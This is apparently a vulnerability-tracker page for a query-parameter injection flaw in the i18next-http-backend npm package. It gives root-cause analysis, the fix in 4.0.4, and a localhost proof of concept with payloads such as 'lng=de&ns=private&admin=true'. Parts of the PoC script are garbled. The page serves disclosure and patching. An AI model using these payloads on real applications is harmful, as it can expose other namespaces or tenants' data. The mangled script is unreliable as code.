Live › vulnerability › CVE-2026-118258
Go to dashboardi18next-http-backend builds translation request URLs from language and namespace values without encoding ampersand, equals or semicolon characters. An attacker who controls those values can add or override query parameters on translation requests, possibly reaching other namespaces or tenants.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-28 19:34 UTC. All times on this page are UTC.
Applications that use i18next-http-backend before 4.0.4 with a loadPath or addPath template that puts lng or ns in the query string, and that let untrusted input choose the language or namespace. Apps that use static language codes or path-style templates are much less exposed and can skip the urgent upgrade.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| i18next-http-backend | npm | < 4.0.4 | 4.0.4 |
npm ls i18next-http-backendloadPath or addPath templates that place lng or ns in the query string, for example ?lng={{lng}}4.0.4Each row is the first time that source carried this signal. The analyst’s rows are its own findings.
The URL-segment check added for GHSA-q89c-q3h5-w34g blocks ?, #, %, :, / and @ in lng, but not & or =, and the checked value is inserted into the URL without encoding. The README documents a multiload loadPath of the form /locales/resources.json?lng=de+en&ns=ns1+ns2. With a template like that, an attacker who controls the language value can add or override query parameters on the request the backend sends. By default the language comes from ?lng=, a cookie or Accept-Language. This is the "query-string injection" impact described in GHSA-q89c; only the ? form was closed.
Server side (Express + i18next-http-middleware, default options), GET /?lng=de%26ns%3Dprivate%26admin%3Dtrue makes the application request …?lng=de&ns=private&admin=true&ns=common from its own translations API.
The checks are in lib/utils.js. The base check (https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/utils.js#L26-L44) rejects:
.. and \;/[?#%:\s]/;isSafeLangUrlSegment (https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/utils.js#L51-L55) adds only / and @. Neither function rejects & or =.
if (/[?#%:\s]/.test(v)) return false // utils.js L40, no & or =
interpolateUrl then splits on +, checks each segment, and joins the raw segments into the template, with no encoding (https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/utils.js#L159-L184, return at L174).
Call sites:
_readAny builds the load URL with interpolateUrl(resolvedLoadPath, { lng: languages.join('+'), ns: … }): https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/index.js#L64create builds the missing-key URL with interpolateUrl(addPath, { lng, ns }): https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/index.js#L133The README documents the query-shaped URL for multiloading (https://github.com/i18next/i18next-http-backend/blob/v4.0.3/README.md?plain=1#L130). The language value is attacker-controlled in normal setups, as GHSA-q89c itself says: detectors read ?lng=, cookies, localStorage and request headers. i18next-http-middleware's LanguageDetector does the same on the server.
Where ? is placed in the template determines which characters are structural. The fix treated only the path position. In a query position, & and = are the separators, so they must be rejected or encoded too.
Suggested fix. Reject & and = (and ;) in both lng and ns; no BCP-47 language code or usable i18next namespace contains them. Alternatively, encodeURIComponent each +-joined segment when the placeholder appears after ? in the template.
How to run (Node 18+; everything runs on 127.0.0.1, with a fake translations API and an Express app):
mkdir i18next-poc && cd i18next-pocnpm init -ynpm i [email protected] [email protected] [email protected] [email protected]poc.mjsnode poc.mjs// i18next-http-backend 4.0.3: '&' and '=' in lng pass isSafeLangUrlSegment, so a loadPath that puts
// {{lng}} in the query string (README multiload shape) gets extra parameters.
// Everything runs on 127.0.0.1: a fake translations API and an Express app.
import http from 'node:http'
import express from 'express'
import i18next from 'i18next'
import Backend from 'i18next-http-backend'
import middleware from 'i18next-http-middleware'
const seen = []
const api = http.createServer((req, res) => {
seen.push(req.url)
res.setHeader('content-type', 'application/json')
res.end('{"hello":"hi"}')
})
await new Promise((r) => api.listen(0, '127.0.0.1', r))
const loadPath = `http://127.0.0.1:${api.address().port}/locales/resources.json?lng={{lng}}&ns={{ns}}`
const wait = () => new ( (r, ))
.()
( lng [, , ]) {
seen. =
i18next.().().({ lng, : , : [], : { loadPath } })
.()
}
.()
i18n = i18next.()
i18n.().(middleware.)
.({ : , : [], : [], : , : { loadPath } })
app = ()
app.(middleware.(i18n))
app.(, res.(req.()))
web = app.(, )
( web.(, r))
()
( q [, ]) {
seen. =
().( r.())
()
.()
}
web.()
api.()
Output (i18next-http-backend 4.0.3, i18next 26.5.1, i18next-http-middleware 3.9.9, Node 22):
[1] direct init
lng="de" -> API got: /locales/resources.json?lng=de&ns=common
lng="de?admin=true" -> API got: (no request, refused)
lng="de&ns=private&admin=true" -> API got: /locales/resources.json?lng=de&ns=private&admin=true&ns=common
[2] Express + i18next-http-middleware LanguageDetector
GET /?lng=de -> API got: /locales/resources.json?lng=de&ns=common
GET /?lng=de%26ns%3Dprivate%26admin%3Dtrue -> API got: /locales/resources.json?lng=de&ns=private&admin=true&ns=common
The ? control is refused by the existing fix. The & form passes and reaches the API with injected ns=private&admin=true.
This is injection of query parameters (CWE-74, HTTP parameter pollution) into the backend's outgoing requests:
ns, version, tenant, feature flags, cache keys) using the server's network position and credentials. Depending on how that API branches on its parameters, this can expose other namespaces or tenants' resources, or change server-side behaviour.?lng=…) does the same to the victim's same-origin request.Applications using the default path template /locales/{{lng}}/{{ns}}.json, or a supportedLngs allowlist, are not affected.
credit to Adrian Korwel.
Confirmed and fixed in 4.0.4 (commit i18next/i18next-http-backend@b0eef9e).
Preconditions. The loadPath / addPath template must put {{lng}} or {{ns}} in the query string (for example /locales/resources.json?lng={{lng}}&ns={{ns}}, the multiload shape), and the attacker must control the language or namespace value. The default /locales/{{lng}}/{{ns}}.json and other path-only templates are not affected, nor are applications that restrict languages with supportedLngs. The impact depends on what the translations API does with the injected parameters.
Fix. &, = and ; are now rejected in both lng and ns values, in addition to the ?, #, % and : rejected before. No language code or usable namespace name contains them. +-joined multiload values such as de+en keep working, verified end to end with i18next-multiload-backend-adapter.
Affected range. Versions before 3.0.5 had no value validation at all and are reachable through this vector too, so the affected range is < 4.0.4.
Related. i18next-locize-back
This page as .md · .json · in your agent: get_signal("CVE-2026-118258")
NVD data is provided by NIST and is public domain · GitHub Advisory Database, CC-BY 4.0. Posts quoted belong to their authors.